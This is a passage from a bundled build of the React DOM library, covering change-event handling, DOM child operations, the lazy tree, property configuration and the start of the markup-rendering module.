topLevelTypes.topSelectionChange || topLevelType === topLevelTypes.topKeyUp || topLevelType === topLevelTypes.topKeyDown) {\n    // On the selectionchange event, the target is just document which isn't\n    // helpful for us so just check activeElement instead.\n    //\n    // 99% of the time, keydown and keyup aren't necessary. IE8 fails to fire\n    // propertychange on the first input event after setting `value` from a\n    // script and fires only keydown, keypress, keyup. Catching keyup usually\n    // gets it and catching keydown lets us fire an event for the first\n    // keystroke if user does a key repeat (it'll be a little delayed: right\n    // before the second keystroke). Other input methods (e.g., paste) seem to\n    // fire selectionchange normally.\n    if (activeElement && activeElement.value !== activeElementValue) {\n      activeElementValue = activeElement.value;\n      return activeElementInst;\n    }\n  }\n}\n\n/**\n * SECTION: handle `click` event\n */\nfunction shouldUseClickEvent(elem) {\n  // Use the `click` event to detect changes to checkbox and radio inputs.\n  // This approach works across all browsers, whereas `change` does not fire\n  // until `blur` in IE8.\n  return elem.nodeName && elem.nodeName.toLowerCase() === 'input' && (elem.type === 'checkbox' || elem.type === 'radio');\n}\n\nfunction getTargetInstForClickEvent(topLevelType, targetInst) {\n  if (topLevelType === topLevelTypes.topClick) {\n    return targetInst;\n  }\n}\n\n/**\n * This plugin creates an `onChange` event that normalizes change events\n * across form elements. This event fires at a time when it's possible to\n * change the element's value without seeing a flicker.\n *\n * Supported elements are:\n * - input (see `isTextInputElement`)\n * - textarea\n * - select\n */\nvar ChangeEventPlugin = {\n\n  eventTypes: eventTypes,\n\n  extractEvents: function (topLevelType, targetInst, nativeEvent, nativeEventTarget) {\n    var targetNode = targetInst ? ReactDOMComponentTree.getNodeFromInstance(targetInst) : window;\n\n    var getTargetInstFunc, handleEventFunc;\n    if (shouldUseChangeEvent(targetNode)) {\n      if (doesChangeEventBubble) {\n        getTargetInstFunc = getTargetInstForChangeEvent;\n      } else {\n        handleEventFunc = handleEventsForChangeEventIE8;\n      }\n    } else if (isTextInputElement(targetNode)) {\n      if (isInputEventSupported) {\n        getTargetInstFunc = getTargetInstForInputEvent;\n      } else {\n        getTargetInstFunc = getTargetInstForInputEventIE;\n        handleEventFunc = handleEventsForInputEventIE;\n      }\n    } else if (shouldUseClickEvent(targetNode)) {\n      getTargetInstFunc = getTargetInstForClickEvent;\n    }\n\n    if (getTargetInstFunc) {\n      var inst = getTargetInstFunc(topLevelType, targetInst);\n      if (inst) {\n        var event = SyntheticEvent.getPooled(eventTypes.change, inst, nativeEvent, nativeEventTarget);\n        event.type = 'change';\n        EventPropagators.accumulateTwoPhaseDispatches(event);\n        return event;\n      }\n    }\n\n    if (handleEventFunc) {\n      handleEventFunc(topLevelType, targetNode, targetInst);\n    }\n  }\n\n};\n\nmodule.exports = ChangeEventPlugin;\n},{\"103\":103,\"126\":126,\"133\":133,\"134\":134,\"144\":144,\"16\":16,\"162\":162,\"17\":17,\"20\":20,\"40\":40,\"94\":94}],7:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule DOMChildrenOperations\n */\n\n'use strict';\n\nvar DOMLazyTree = _dereq_(8);\nvar Danger = _dereq_(12);\nvar ReactMultiChildUpdateTypes = _dereq_(77);\nvar ReactPerf = _dereq_(82);\n\nvar createMicrosoftUnsafeLocalFunction = _dereq_(117);\nvar setInnerHTML = _dereq_(138);\nvar setTextContent = _dereq_(139);\n\nfunction getNodeAfter(parentNode, node) {\n  // Special case for text components, which return [open, close] comments\n  // from getNativeNode.\n  if (Array.isArray(node)) {\n    node = node[1];\n  }\n  return node ? node.nextSibling : parentNode.firstChild;\n}\n\n/**\n * Inserts `childNode` as a child of `parentNode` at the `index`.\n *\n * @param {DOMElement} parentNode Parent node in which to insert.\n * @param {DOMElement} childNode Child node to insert.\n * @param {number} index Index at which to insert the child.\n * @internal\n */\nvar insertChildAt = createMicrosoftUnsafeLocalFunction(function (parentNode, childNode, referenceNode) {\n  // We rely exclusively on `insertBefore(node, null)` instead of also using\n  // `appendChild(node)`. (Using `undefined` is not allowed by all browsers so\n  // we are careful to use `null`.)\n  parentNode.insertBefore(childNode, referenceNode);\n});\n\nfunction insertLazyTreeChildAt(parentNode, childTree, referenceNode) {\n  DOMLazyTree.insertTreeBefore(parentNode, childTree, referenceNode);\n}\n\nfunction moveChild(parentNode, childNode, referenceNode) {\n  if (Array.isArray(childNode)) {\n    moveDelimitedText(parentNode, childNode[0], childNode[1], referenceNode);\n  } else {\n    insertChildAt(parentNode, childNode, referenceNode);\n  }\n}\n\nfunction removeChild(parentNode, childNode) {\n  if (Array.isArray(childNode)) {\n    var closingComment = childNode[1];\n    childNode = childNode[0];\n    removeDelimitedText(parentNode, childNode, closingComment);\n    parentNode.removeChild(closingComment);\n  }\n  parentNode.removeChild(childNode);\n}\n\nfunction moveDelimitedText(parentNode, openingComment, closingComment, referenceNode) {\n  var node = openingComment;\n  while (true) {\n    var nextNode = node.nextSibling;\n    insertChildAt(parentNode, node, referenceNode);\n    if (node === closingComment) {\n      break;\n    }\n    node = nextNode;\n  }\n}\n\nfunction removeDelimitedText(parentNode, startNode, closingComment) {\n  while (true) {\n    var node = startNode.nextSibling;\n    if (node === closingComment) {\n      // The closing comment is removed by ReactMultiChild.\n      break;\n    } else {\n      parentNode.removeChild(node);\n    }\n  }\n}\n\nfunction replaceDelimitedText(openingComment, closingComment, stringText) {\n  var parentNode = openingComment.parentNode;\n  var nodeAfterComment = openingComment.nextSibling;\n  if (nodeAfterComment === closingComment) {\n    // There are no text nodes between the opening and closing comments; insert\n    // a new one if stringText isn't empty.\n    if (stringText) {\n      insertChildAt(parentNode, document.createTextNode(stringText), nodeAfterComment);\n    }\n  } else {\n    if (stringText) {\n      // Set the text content of the first node after the opening comment, and\n      // remove all following nodes up until the closing comment.\n      setTextContent(nodeAfterComment, stringText);\n      removeDelimitedText(parentNode, nodeAfterComment, closingComment);\n    } else {\n      removeDelimitedText(parentNode, openingComment, closingComment);\n    }\n  }\n}\n\n/**\n * Operations for updating with DOM children.\n */\nvar DOMChildrenOperations = {\n\n  dangerouslyReplaceNodeWithMarkup: Danger.dangerouslyReplaceNodeWithMarkup,\n\n  replaceDelimitedText: replaceDelimitedText,\n\n  /**\n   * Updates a component's children by processing a series of updates. The\n   * update configurations are each expected to have a `parentNode` property.\n   *\n   * @param {array<object>} updates List of update configurations.\n   * @internal\n   */\n  processUpdates: function (parentNode, updates) {\n    for (var k = 0; k < updates.length; k++) {\n      var update = updates[k];\n      switch (update.type) {\n        case ReactMultiChildUpdateTypes.INSERT_MARKUP:\n          insertLazyTreeChildAt(parentNode, update.content, getNodeAfter(parentNode, update.afterNode));\n          break;\n        case ReactMultiChildUpdateTypes.MOVE_EXISTING:\n          moveChild(parentNode, update.fromNode, getNodeAfter(parentNode, update.afterNode));\n          break;\n        case ReactMultiChildUpdateTypes.SET_MARKUP:\n          setInnerHTML(parentNode, update.content);\n          break;\n        case ReactMultiChildUpdateTypes.TEXT_CONTENT:\n          setTextContent(parentNode, update.content);\n          break;\n        case ReactMultiChildUpdateTypes.REMOVE_NODE:\n          removeChild(parentNode, update.fromNode);\n          break;\n      }\n    }\n  }\n\n};\n\nReactPerf.measureMethods(DOMChildrenOperations, 'DOMChildrenOperations', {\n  replaceDelimitedText: 'replaceDelimitedText'\n});\n\nmodule.exports = DOMChildrenOperations;\n},{\"117\":117,\"12\":12,\"138\":138,\"139\":139,\"77\":77,\"8\":8,\"82\":82}],8:[function(_dereq_,module,exports){\n/**\n * Copyright 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule DOMLazyTree\n */\n\n'use strict';\n\nvar createMicrosoftUnsafeLocalFunction = _dereq_(117);\nvar setTextContent = _dereq_(139);\n\n/**\n * In IE (8-11) and Edge, appending nodes with no children is dramatically\n * faster than appending a full subtree, so we essentially queue up the\n * .appendChild calls here and apply them so each node is added to its parent\n * before any children are added.\n *\n * In other browsers, doing so is slower or neutral compared to the other order\n * (in Firefox, twice as slow) so we only do this inversion in IE.\n *\n * See https://github.com/spicyj/innerhtml-vs-createelement-vs-clonenode.\n */\nvar enableLazy = typeof document !== 'undefined' && typeof document.documentMode === 'number' || typeof navigator !== 'undefined' && typeof navigator.userAgent === 'string' && /\\bEdge\\/\\d/.test(navigator.userAgent);\n\nfunction insertTreeChildren(tree) {\n  if (!enableLazy) {\n    return;\n  }\n  var node = tree.node;\n  var children = tree.children;\n  if (children.length) {\n    for (var i = 0; i < children.length; i++) {\n      insertTreeBefore(node, children[i], null);\n    }\n  } else if (tree.html != null) {\n    node.innerHTML = tree.html;\n  } else if (tree.text != null) {\n    setTextContent(node, tree.text);\n  }\n}\n\nvar insertTreeBefore = createMicrosoftUnsafeLocalFunction(function (parentNode, tree, referenceNode) {\n  // DocumentFragments aren't actually part of the DOM after insertion so\n  // appending children won't update the DOM. We need to ensure the fragment\n  // is properly populated first, breaking out of our lazy approach for just\n  // this level.\n  if (tree.node.nodeType === 11) {\n    insertTreeChildren(tree);\n    parentNode.insertBefore(tree.node, referenceNode);\n  } else {\n    parentNode.insertBefore(tree.node, referenceNode);\n    insertTreeChildren(tree);\n  }\n});\n\nfunction replaceChildWithTree(oldNode, newTree) {\n  oldNode.parentNode.replaceChild(newTree.node, oldNode);\n  insertTreeChildren(newTree);\n}\n\nfunction queueChild(parentTree, childTree) {\n  if (enableLazy) {\n    parentTree.children.push(childTree);\n  } else {\n    parentTree.node.appendChild(childTree.node);\n  }\n}\n\nfunction queueHTML(tree, html) {\n  if (enableLazy) {\n    tree.html = html;\n  } else {\n    tree.node.innerHTML = html;\n  }\n}\n\nfunction queueText(tree, text) {\n  if (enableLazy) {\n    tree.text = text;\n  } else {\n    setTextContent(tree.node, text);\n  }\n}\n\nfunction DOMLazyTree(node) {\n  return {\n    node: node,\n    children: [],\n    html: null,\n    text: null\n  };\n}\n\nDOMLazyTree.insertTreeBefore = insertTreeBefore;\nDOMLazyTree.replaceChildWithTree = replaceChildWithTree;\nDOMLazyTree.queueChild = queueChild;\nDOMLazyTree.queueHTML = queueHTML;\nDOMLazyTree.queueText = queueText;\n\nmodule.exports = DOMLazyTree;\n},{\"117\":117,\"139\":139}],9:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule DOMNamespaces\n */\n\n'use strict';\n\nvar DOMNamespaces = {\n  html: 'http://www.w3.org/1999/xhtml',\n  mathml: 'http://www.w3.org/1998/Math/MathML',\n  svg: 'http://www.w3.org/2000/svg'\n};\n\nmodule.exports = DOMNamespaces;\n},{}],10:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule DOMProperty\n */\n\n'use strict';\n\nvar invariant = _dereq_(158);\n\nfunction checkMask(value, bitmask) {\n  return (value & bitmask) === bitmask;\n}\n\nvar DOMPropertyInjection = {\n  /**\n   * Mapping from normalized, camelcased property names to a configuration that\n   * specifies how the associated DOM property should be accessed or rendered.\n   */\n  MUST_USE_PROPERTY: 0x1,\n  HAS_SIDE_EFFECTS: 0x2,\n  HAS_BOOLEAN_VALUE: 0x4,\n  HAS_NUMERIC_VALUE: 0x8,\n  HAS_POSITIVE_NUMERIC_VALUE: 0x10 | 0x8,\n  HAS_OVERLOADED_BOOLEAN_VALUE: 0x20,\n\n  /**\n   * Inject some specialized knowledge about the DOM. This takes a config object\n   * with the following properties:\n   *\n   * isCustomAttribute: function that given an attribute name will return true\n   * if it can be inserted into the DOM verbatim. Useful for data-* or aria-*\n   * attributes where it's impossible to enumerate all of the possible\n   * attribute names,\n   *\n   * Properties: object mapping DOM property name to one of the\n   * DOMPropertyInjection constants or null. If your attribute isn't in here,\n   * it won't get written to the DOM.\n   *\n   * DOMAttributeNames: object mapping React attribute name to the DOM\n   * attribute name. Attribute names not specified use the **lowercase**\n   * normalized name.\n   *\n   * DOMAttributeNamespaces: object mapping React attribute name to the DOM\n   * attribute namespace URL. (Attribute names not specified use no namespace.)\n   *\n   * DOMPropertyNames: similar to DOMAttributeNames but for DOM properties.\n   * Property names not specified use the normalized name.\n   *\n   * DOMMutationMethods: Properties that require special mutation methods. If\n   * `value` is undefined, the mutation method should unset the property.\n   *\n   * @param {object} domPropertyConfig the config as described above.\n   */\n  injectDOMPropertyConfig: function (domPropertyConfig) {\n    var Injection = DOMPropertyInjection;\n    var Properties = domPropertyConfig.Properties || {};\n    var DOMAttributeNamespaces = domPropertyConfig.DOMAttributeNamespaces || {};\n    var DOMAttributeNames = domPropertyConfig.DOMAttributeNames || {};\n    var DOMPropertyNames = domPropertyConfig.DOMPropertyNames || {};\n    var DOMMutationMethods = domPropertyConfig.DOMMutationMethods || {};\n\n    if (domPropertyConfig.isCustomAttribute) {\n      DOMProperty._isCustomAttributeFunctions.push(domPropertyConfig.isCustomAttribute);\n    }\n\n    for (var propName in Properties) {\n      !!DOMProperty.properties.hasOwnProperty(propName) ? \"development\" !== 'production' ? invariant(false, 'injectDOMPropertyConfig(...): You\\'re trying to inject DOM property ' + '\\'%s\\' which has already been injected. You may be accidentally ' + 'injecting the same DOM property config twice, or you may be ' + 'injecting two configs that have conflicting property names.', propName) : invariant(false) : void 0;\n\n      var lowerCased = propName.toLowerCase();\n      var propConfig = Properties[propName];\n\n      var propertyInfo = {\n        attributeName: lowerCased,\n        attributeNamespace: null,\n        propertyName: propName,\n        mutationMethod: null,\n\n        mustUseProperty: checkMask(propConfig, Injection.MUST_USE_PROPERTY),\n        hasSideEffects: checkMask(propConfig, Injection.HAS_SIDE_EFFECTS),\n        hasBooleanValue: checkMask(propConfig, Injection.HAS_BOOLEAN_VALUE),\n        hasNumericValue: checkMask(propConfig, Injection.HAS_NUMERIC_VALUE),\n        hasPositiveNumericValue: checkMask(propConfig, Injection.HAS_POSITIVE_NUMERIC_VALUE),\n        hasOverloadedBooleanValue: checkMask(propConfig, Injection.HAS_OVERLOADED_BOOLEAN_VALUE)\n      };\n\n      !(propertyInfo.mustUseProperty || !propertyInfo.hasSideEffects) ? \"development\" !== 'production' ? invariant(false, 'DOMProperty: Properties that have side effects must use property: %s', propName) : invariant(false) : void 0;\n      !(propertyInfo.hasBooleanValue + propertyInfo.hasNumericValue + propertyInfo.hasOverloadedBooleanValue <= 1) ? \"development\" !== 'production' ? invariant(false, 'DOMProperty: Value can be one of boolean, overloaded boolean, or ' + 'numeric value, but not a combination: %s', propName) : invariant(false) : void 0;\n\n      if (\"development\" !== 'production') {\n        DOMProperty.getPossibleStandardName[lowerCased] = propName;\n      }\n\n      if (DOMAttributeNames.hasOwnProperty(propName)) {\n        var attributeName = DOMAttributeNames[propName];\n        propertyInfo.attributeName = attributeName;\n        if (\"development\" !== 'production') {\n          DOMProperty.getPossibleStandardName[attributeName] = propName;\n        }\n      }\n\n      if (DOMAttributeNamespaces.hasOwnProperty(propName)) {\n        propertyInfo.attributeNamespace = DOMAttributeNamespaces[propName];\n      }\n\n      if (DOMPropertyNames.hasOwnProperty(propName)) {\n        propertyInfo.propertyName = DOMPropertyNames[propName];\n      }\n\n      if (DOMMutationMethods.hasOwnProperty(propName)) {\n        propertyInfo.mutationMethod = DOMMutationMethods[propName];\n      }\n\n      DOMProperty.properties[propName] = propertyInfo;\n    }\n  }\n};\n\n/* eslint-disable max-len */\nvar ATTRIBUTE_NAME_START_CHAR = ':A-Z_a-z\\\\u00C0-\\\\u00D6\\\\u00D8-\\\\u00F6\\\\u00F8-\\\\u02FF\\\\u0370-\\\\u037D\\\\u037F-\\\\u1FFF\\\\u200C-\\\\u200D\\\\u2070-\\\\u218F\\\\u2C00-\\\\u2FEF\\\\u3001-\\\\uD7FF\\\\uF900-\\\\uFDCF\\\\uFDF0-\\\\uFFFD';\n/* eslint-enable max-len */\n\n/**\n * DOMProperty exports lookup objects that can be used like functions:\n *\n *   > DOMProperty.isValid['id']\n *   true\n *   > DOMProperty.isValid['foobar']\n *   undefined\n *\n * Although this may be confusing, it performs better in general.\n *\n * @see http://jsperf.com/key-exists\n * @see http://jsperf.com/key-missing\n */\nvar DOMProperty = {\n\n  ID_ATTRIBUTE_NAME: 'data-reactid',\n  ROOT_ATTRIBUTE_NAME: 'data-reactroot',\n\n  ATTRIBUTE_NAME_START_CHAR: ATTRIBUTE_NAME_START_CHAR,\n  ATTRIBUTE_NAME_CHAR: ATTRIBUTE_NAME_START_CHAR + '\\\\-.0-9\\\\uB7\\\\u0300-\\\\u036F\\\\u203F-\\\\u2040',\n\n  /**\n   * Map from property \"standard name\" to an object with info about how to set\n   * the property in the DOM. Each object contains:\n   *\n   * attributeName:\n   *   Used when rendering markup or with `*Attribute()`.\n   * attributeNamespace\n   * propertyName:\n   *   Used on DOM node instances. (This includes properties that mutate due to\n   *   external factors.)\n   * mutationMethod:\n   *   If non-null, used instead of the property or `setAttribute()` after\n   *   initial render.\n   * mustUseProperty:\n   *   Whether the property must be accessed and mutated as an object property.\n   * hasSideEffects:\n   *   Whether or not setting a value causes side effects such as triggering\n   *   resources to be loaded or text selection changes. If true, we read from\n   *   the DOM before updating to ensure that the value is only set if it has\n   *   changed.\n   * hasBooleanValue:\n   *   Whether the property should be removed when set to a falsey value.\n   * hasNumericValue:\n   *   Whether the property must be numeric or parse as a numeric and should be\n   *   removed when set to a falsey value.\n   * hasPositiveNumericValue:\n   *   Whether the property must be positive numeric or parse as a positive\n   *   numeric and should be removed when set to a falsey value.\n   * hasOverloadedBooleanValue:\n   *   Whether the property can be used as a flag as well as with a value.\n   *   Removed when strictly equal to false; present without a value when\n   *   strictly equal to true; present with a value otherwise.\n   */\n  properties: {},\n\n  /**\n   * Mapping from lowercase property names to the properly cased version, used\n   * to warn in the case of missing properties. Available only in __DEV__.\n   * @type {Object}\n   */\n  getPossibleStandardName: \"development\" !== 'production' ? {} : null,\n\n  /**\n   * All of the isCustomAttribute() functions that have been injected.\n   */\n  _isCustomAttributeFunctions: [],\n\n  /**\n   * Checks whether a property name is a custom attribute.\n   * @method\n   */\n  isCustomAttribute: function (attributeName) {\n    for (var i = 0; i < DOMProperty._isCustomAttributeFunctions.length; i++) {\n      var isCustomAttributeFn = DOMProperty._isCustomAttributeFunctions[i];\n      if (isCustomAttributeFn(attributeName)) {\n        return true;\n      }\n    }\n    return false;\n  },\n\n  injection: DOMPropertyInjection\n};\n\nmodule.exports = DOMProperty;\n},{\"158\":158}],11:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule DOMPropertyOperations\n */\n\n'use strict';\n\nvar DOMProperty = _dereq_(10);\nvar ReactDOMInstrumentation = _dereq_(48);\nvar ReactPerf = _dereq_(82);\n\nvar quoteAttributeValueForBrowser = _dereq_(136);\nvar warning = _dereq_(168);\n\nvar VALID_ATTRIBUTE_NAME_REGEX = new RegExp('^[' + DOMProperty.ATTRIBUTE_NAME_START_CHAR + '][' + DOMProperty.ATTRIBUTE_NAME_CHAR + ']*$');\nvar illegalAttributeNameCache = {};\nvar validatedAttributeNameCache = {};\n\nfunction isAttributeNameSafe(attributeName) {\n  if (validatedAttributeNameCache.hasOwnProperty(attributeName)) {\n    return true;\n  }\n  if (illegalAttributeNameCache.hasOwnProperty(attributeName)) {\n    return false;\n  }\n  if (VALID_ATTRIBUTE_NAME_REGEX.test(attributeName)) {\n    validatedAttributeNameCache[attributeName] = true;\n    return true;\n  }\n  illegalAttributeNameCache[attributeName] = true;\n  \"development\" !== 'production' ? warning(false, 'Invalid attribute name: `%s`', attributeName) : void 0;\n  return false;\n}\n\nfunction shouldIgnoreValue(propertyInfo, value) {\n  return value == null || propertyInfo.hasBooleanValue && !value || propertyInfo.hasNumericValue && isNaN(value) || propertyInfo.hasPositiveNumericValue && value < 1 || propertyInfo.hasOverloadedBooleanValue && value === false;\n}\n\n/**\n * Operations for dealing with DOM properties.\n */\nvar DOMPropertyOperations = {\n\n  /**\n   * Creates markup for the ID property.\n   *\n   * @param {string} id Unescaped ID.\n   * @return {string} Markup string.\n   */\n  createMarkupForID: function (id) {\n    return DOMProperty.ID_ATTRIBUTE_NAME + '=' + quoteAttributeValueForBrowser(id);\n  },\n\n  setAttributeForID: function (node, id) {\n    node.setAttribute(DOMProperty.ID_ATTRIBUTE_NAME, id);\n  },\n\n  createMarkupForRoot: function () {\n    return DOMProperty.ROOT_ATTRIBUTE_NAME + '=\"\"';\n  },\n\n  setAttributeForRoot: function (node) {\n    node.setAttribute(DOMProperty.ROOT_ATTRIBUTE_NAME, '');\n  },\n\n  /**\n   * Creates markup for a property.\n   *\n   * @param {string} name\n   * @param {*} value\n   * @return {?string} Markup string, or null if the property was invalid.\n   */\n  createMarkupForProperty: function (name, value) {\n    if (\"development\" !== 'production') {\n      ReactDOMInstrumentation.debugTool.onCreateMarkupForProperty(name, value);\n    }\n    var propertyInfo = DOMProperty.properties.hasOwnProperty(name) ? DOMProperty.properties[name] : null;\n    if (propertyInfo) {\n      if (shouldIgnoreValue(propertyInfo, value)) {\n        return '';\n      }\n      var attributeName = propertyInfo.attributeName;\n      if (propertyInfo.hasBooleanValue || propertyInfo.hasOverloadedBooleanValue && value === true) {\n        return attributeName + '=\"\"';\n      }\n      return attributeName + '=' + quoteAttributeValueForBrowser(value);\n    } else if (DOMProperty.isCustomAttribute(name)) {\n      if (value == null) {\n        return '';\n      }\n      return name + '=' + quoteAttributeValueForBrowser(value);\n    }\n    return null;\n  },\n\n  /**\n   * Creates markup for a custom property.\n   *\n   * @param {string} name\n   * @param {*} value\n   * @return {string} Markup string, or empty string if the property was invalid.\n   */\n  createMarkupForCustomAttribute: function (name, value) {\n    if (!isAttributeNameSafe(name) || value == null) {\n      return '';\n    }\n    return name + '=' + quoteAttributeValueForBrowser(value);\n  },\n\n  /**\n   * Sets the value for a property on a node.\n   *\n   * @param {DOMElement} node\n   * @param {string} name\n   * @param {*} value\n   */\n  setValueForProperty: function (node, name, value) {\n    if (\"development\" !== 'production') {\n      ReactDOMInstrumentation.debugTool.onSetValueForProperty(node, name, value);\n    }\n    var propertyInfo = DOMProperty.properties.hasOwnProperty(name) ? DOMProperty.properties[name] : null;\n    if (propertyInfo) {\n      var mutationMethod = propertyInfo.mutationMethod;\n      if (mutationMethod) {\n        mutationMethod(node, value);\n      } else if (shouldIgnoreValue(propertyInfo, value)) {\n        this.deleteValueForProperty(node, name);\n      } else if (propertyInfo.mustUseProperty) {\n        var propName = propertyInfo.propertyName;\n        // Must explicitly cast values for HAS_SIDE_EFFECTS-properties to the\n        // property type before comparing; only `value` does and is string.\n        if (!propertyInfo.hasSideEffects || '' + node[propName] !== '' + value) {\n          // Contrary to `setAttribute`, object properties are properly\n          // `toString`ed by IE8/9.\n          node[propName] = value;\n        }\n      } else {\n        var attributeName = propertyInfo.attributeName;\n        var namespace = propertyInfo.attributeNamespace;\n        // `setAttribute` with objects becomes only `[object]` in IE8/9,\n        // ('' + value) makes it output the correct toString()-value.\n        if (namespace) {\n          node.setAttributeNS(namespace, attributeName, '' + value);\n        } else if (propertyInfo.hasBooleanValue || propertyInfo.hasOverloadedBooleanValue && value === true) {\n          node.setAttribute(attributeName, '');\n        } else {\n          node.setAttribute(attributeName, '' + value);\n        }\n      }\n    } else if (DOMProperty.isCustomAttribute(name)) {\n      DOMPropertyOperations.setValueForAttribute(node, name, value);\n    }\n  },\n\n  setValueForAttribute: function (node, name, value) {\n    if (!isAttributeNameSafe(name)) {\n      return;\n    }\n    if (value == null) {\n      node.removeAttribute(name);\n    } else {\n      node.setAttribute(name, '' + value);\n    }\n  },\n\n  /**\n   * Deletes the value for a property on a node.\n   *\n   * @param {DOMElement} node\n   * @param {string} name\n   */\n  deleteValueForProperty: function (node, name) {\n    if (\"development\" !== 'production') {\n      ReactDOMInstrumentation.debugTool.onDeleteValueForProperty(node, name);\n    }\n    var propertyInfo = DOMProperty.properties.hasOwnProperty(name) ? DOMProperty.properties[name] : null;\n    if (propertyInfo) {\n      var mutationMethod = propertyInfo.mutationMethod;\n      if (mutationMethod) {\n        mutationMethod(node, undefined);\n      } else if (propertyInfo.mustUseProperty) {\n        var propName = propertyInfo.propertyName;\n        if (propertyInfo.hasBooleanValue) {\n          // No HAS_SIDE_EFFECTS logic here, only `value` has it and is string.\n          node[propName] = false;\n        } else {\n          if (!propertyInfo.hasSideEffects || '' + node[propName] !== '') {\n            node[propName] = '';\n          }\n        }\n      } else {\n        node.removeAttribute(propertyInfo.attributeName);\n      }\n    } else if (DOMProperty.isCustomAttribute(name)) {\n      node.removeAttribute(name);\n    }\n  }\n\n};\n\nReactPerf.measureMethods(DOMPropertyOperations, 'DOMPropertyOperations', {\n  setValueForProperty: 'setValueForProperty',\n  setValueForAttribute: 'setValueForAttribute',\n  deleteValueForProperty: 'deleteValueForProperty'\n});\n\nmodule.exports = DOMPropertyOperations;\n},{\"10\":10,\"136\":136,\"168\":168,\"48\":48,\"82\":82}],12:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule Danger\n */\n\n'use strict';\n\nvar DOMLazyTree = _dereq_(8);\nvar ExecutionEnvironment = _dereq_(144);\n\nvar createNodesFromMarkup = _dereq_(149);\nvar emptyFunction = _dereq_(150);\nvar getMarkupWrap = _dereq_(154);\nvar invariant = _dereq_(158);\n\nvar OPEN_TAG_NAME_EXP = /^(<[^ \\/>]+)/;\nvar RESULT_INDEX_ATTR = 'data-danger-index';\n\n/**\n * Extracts the `nodeName` from a string of markup.\n *\n * NOTE: Extracting the `nodeName` does not require a regular expression match\n * because we make assumptions about React-generated markup (i.e. there are no\n * spaces surrounding the opening tag and there is at least one attribute).\n *\n * @param {string} markup String of markup.\n * @return {string} Node name of the supplied markup.\n * @see http://jsperf.com/extract-nodename\n */\nfunction getNodeName(markup) {\n  return markup.substring(1, markup.indexOf(' '));\n}\n\nvar Danger = {\n\n  /**\n   * Renders markup into an array of nodes. The markup is expected to render\n   * into a list of root nodes. Also, the length of `resultList` and\n   * `markupList` should be the same.\n   *\n   * @param {array<string>} markupList List of markup strings to render.\n   * @return {array<DOMElement>} List of rendered nodes.\n   * @internal\n   */\n  dangerouslyRenderMarkup: function (markupList) {\n    !ExecutionEnvironment.canUseDOM ? \"development\" !== 'production' ? invariant(false, 'dangerouslyRenderMarkup(...): Cannot render markup in a worker ' + 'thread. Make sure `window` and `document` are available globally ' + 'before requiring React when unit testing or use ' + 'ReactDOMServer.renderToString for server rendering.') : invariant(false) : void 0;\n    var nodeName;\n    var markupByNodeName = {};\n    // Group markup by `nodeName` if a wrap is necessary, else by '*'.\n    for (var i = 0; i < markupList.length; i++) {\n      !markupList[i] ? \"development\" !== 'production' ? invariant(false, 'dangerouslyRenderMarkup(...): Missing markup.') : invariant(false) : void 0;\n      nodeName = getNodeName(markupList[i]);\n      nodeName = getMarkupWrap(nodeName) ? nodeName : '*';\n      markupByNodeName[nodeName] = markupByNodeName[nodeName] || [];\n      markupByNodeName[nodeName][i] = markupList[i];\n    }\n    var resultList = [];\n    var resultListAssignmentCount = 0;\n    for (nodeName in markupByNodeName) {\n      if (!markupByNodeName.hasOwnProperty(nodeName)) {\n        continue;\n      }\n      var markupListByNodeName = markupByNodeName[nodeName];\n\n      // This for-in loop skips the holes of the sparse array. The order of\n      // iteration should follow the order of assignment, which happens to match\n      // numerical index order, but we don't rely on that.\n      var resultIndex;\n      for (resultIndex in markupListByNodeName) {\n        if (markupListByNodeName.hasOwnProperty(resultIndex)) {\n          var markup = markupListByNodeName[resultIndex];\n\n          // Push the requested markup with an additional RESULT_INDEX_ATTR\n          // attribute.  If the markup does not start with a < character, it\n          // will be discarded below (with an appropriate console.error).\n          markupListByNodeName[resultIndex] = markup.replace(OPEN_TAG_NAME_EXP,\n          // This index will be parsed back out below.\n          '$1 ' + RESULT_INDEX_ATTR + '=\"' + resultIndex + '\" ');\n        }\n      }\n\n      // Render each group of markup with similar wrapping `nodeName`.\n      var renderNodes = createNodesFromMarkup(markupListByNodeName.join(''), emptyFunction // Do nothing special with <script> tags.\n      );\n\n      for (var j = 0; j < renderNodes.length; ++j) {\n        var renderNode = renderNodes[j];\n        if (renderNode.hasAttribute && renderNode.hasAttribute(RESULT_INDEX_ATTR)) {\n\n          resultIndex = +renderNode.getAttribute(RESULT_INDEX_ATTR);\n          renderNode.removeAttribute(RESULT_INDEX_ATTR);\n\n          !!resultList.hasOwnProperty(resultIndex) ? \"development\" !== 'production' ? invariant(false, 'Danger: Assigning to an already-occupied result index.') : invariant(false) : void 0;\n\n          resultList[resultIndex] = renderNode;\n\n          // This should match resultList.length and markupList.length when\n          // we're done.\n          resultListAssignmentCount += 1;\n        } else if (\"development\" !== 'production') {\n          console.error('Danger: Discarding unexpected node:', renderNode);\n        }\n      }\n    }\n\n    // Although resultList was populated out of order, it should now be a dense\n    // array.\n    !(resultListAssignmentCount === resultList.length) ? \"development\" !== 'production' ? 